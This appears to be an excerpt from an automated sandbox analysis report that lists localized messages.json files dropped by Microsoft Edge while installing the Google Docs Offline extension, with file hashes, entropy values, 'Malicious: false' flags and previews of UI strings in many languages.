Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
